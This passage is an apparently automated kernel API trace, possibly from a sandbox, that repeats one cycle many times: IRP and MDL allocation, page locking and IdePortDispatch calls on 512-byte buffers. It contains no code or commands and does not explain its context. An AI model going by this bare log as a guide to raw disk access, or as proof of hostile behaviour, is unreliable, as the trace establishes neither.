AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.265] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.265] IdePortDispatch () returned 0x103 [0057.265] KeWaitForMutexObject () returned 0x0 [0057.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.265] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.265] IdePortDispatch () returned 0x103 [0057.265] KeWaitForMutexObject () returned 0x0 [0057.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.265] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.265] IdePortDispatch () returned 0x103 [0057.265] KeWaitForMutexObject () returned 0x0 [0057.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.265] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.265] IdePortDispatch () returned 0x103 [0057.266] KeWaitForMutexObject () returned 0x0 [0057.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.266] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.266] IdePortDispatch () returned 0x103 [0057.266] KeWaitForMutexObject () returned 0x0 [0057.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.266] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.266] IdePortDispatch () returned 0x103 [0057.266] KeWaitForMutexObject () returned 0x0 [0057.266] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.266] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.266] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.266] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.266] IdePortDispatch () returned 0x103 [0057.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.267] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.267] IdePortDispatch () returned 0x103 [0057.267] KeWaitForMutexObject () returned 0x0 [0057.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.267] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.267] IdePortDispatch () returned 0x103 [0057.267] KeWaitForMutexObject () returned 0x0 [0057.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.267] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.267] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.267] IdePortDispatch () returned 0x103 [0057.267] KeWaitForMutexObject () returned 0x0 [0057.267] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.267] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.268] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.268] IdePortDispatch () returned 0x103 [0057.268] KeWaitForMutexObject () returned 0x0 [0057.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.268] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.268] IdePortDispatch () returned 0x103 [0057.268] KeWaitForMutexObject () returned 0x0 [0057.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.268] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.268] IdePortDispatch () returned 0x103 [0057.268] KeWaitForMutexObject () returned 0x0 [0057.268] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.268] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.268] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.268] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.268] IdePortDispatch () returned 0x103 [0057.269] KeWaitForMutexObject () returned 0x0 [0057.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.269] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.269] IdePortDispatch () returned 0x103 [0057.269] KeWaitForMutexObject () returned 0x0 [0057.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.269] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.269] IdePortDispatch () returned 0x103 [0057.269] KeWaitForMutexObject () returned 0x0 [0057.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.269] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.269] IdePortDispatch () returned 0x103 [0057.269] KeWaitForMutexObject () returned 0x0 [0057.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.270] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.270] IdePortDispatch () returned 0x103 [0057.270] KeWaitForMutexObject () returned 0x0 [0057.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.270] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.270] IdePortDispatch () returned 0x103 [0057.270] KeWaitForMutexObject () returned 0x0 [0057.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.270] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.270] IdePortDispatch () returned 0x103 [0057.270] KeWaitForMutexObject () returned 0x0 [0057.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.271] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.271] IdePortDispatch () returned 0x103 [0057.271] KeWaitForMutexObject () returned 0x0 [0057.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.271] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.271] IdePortDispatch () returned 0x103 [0057.271] KeWaitForMutexObject () returned 0x0 [0057.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.271] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.271] IdePortDispatch () returned 0x103 [0057.271] KeWaitForMutexObject () returned 0x0 [0057.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.271] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.272] IdePortDispatch () returned 0x103 [0057.272] KeWaitForMutexObject () returned 0x0 [0057.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.272] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.272] IdePortDispatch () returned 0x103 [0057.272] KeWaitForMutexObject () returned 0x0 [0057.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.272] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.272] IdePortDispatch () returned 0x103 [0057.272] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.272] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.272] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.272] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.272] IdePortDispatch () returned 0x103 [0057.272] KeWaitForMutexObject () returned 0x0 [0057.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.273] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.273] IdePortDispatch () returned 0x103 [0057.273] KeWaitForMutexObject () returned 0x0 [0057.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.273] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.273] IdePortDispatch () returned 0x103 [0057.273] KeWaitForMutexObject () returned 0x0 [0057.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.273] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.273] IdePortDispatch () returned 0x103 [0057.274] KeWaitForMutexObject () returned 0x0 [0057.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.274] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.274] IdePortDispatch () returned 0x103 [0057.274] KeWaitForMutexObject () returned 0x0 [0057.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.274] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.274] IdePortDispatch () returned 0x103 [0057.274] KeWaitForMutexObject () returned 0x0 [0057.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.274] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.274] IdePortDispatch () returned 0x103 [0057.274] KeWaitForMutexObject () returned 0x0 [0057.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.275] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.275] IdePortDispatch () returned 0x103 [0057.275] KeWaitForMutexObject () returned 0x0 [0057.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.275] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.275] IdePortDispatch () returned 0x103 [0057.275] KeWaitForMutexObject () returned 0x0 [0057.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.275] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.275] IdePortDispatch () returned 0x103 [0057.275] KeWaitForMutexObject () returned 0x0 [0057.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.275] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.275] IdePortDispatch () returned 0x103 [0057.276] KeWaitForMutexObject () returned 0x0 [0057.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.276] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.276] IdePortDispatch () returned 0x103 [0057.276] KeWaitForMutexObject () returned 0x0 [0057.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.276] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.276] IdePortDispatch () returned 0x103 [0057.276] KeWaitForMutexObject () returned 0x0 [0057.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.276] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.276] IdePortDispatch () returned 0x103 [0057.276] KeWaitForMutexObject () returned 0x0 [0057.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.277] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.277] IdePortDispatch () returned 0x103 [0057.277] KeWaitForMutexObject () returned 0x0 [0057.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.277] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: Event=0xfffff88002fab990) [0057.277] IdePortDispatch () returned 0x103 [0057.277] KeWaitForMutexObject () returned 0x0 [0057.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80018df580 [0057.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80018df580 | out: Irp=0xfffffa80018df580) returned 0xfffffa80027b2010 [0057.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80027b2010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80027b2010) [0057.277] KeInitializeEvent (in: Event=0xfffff88002fab990, Type=0x0, State=0 | out: 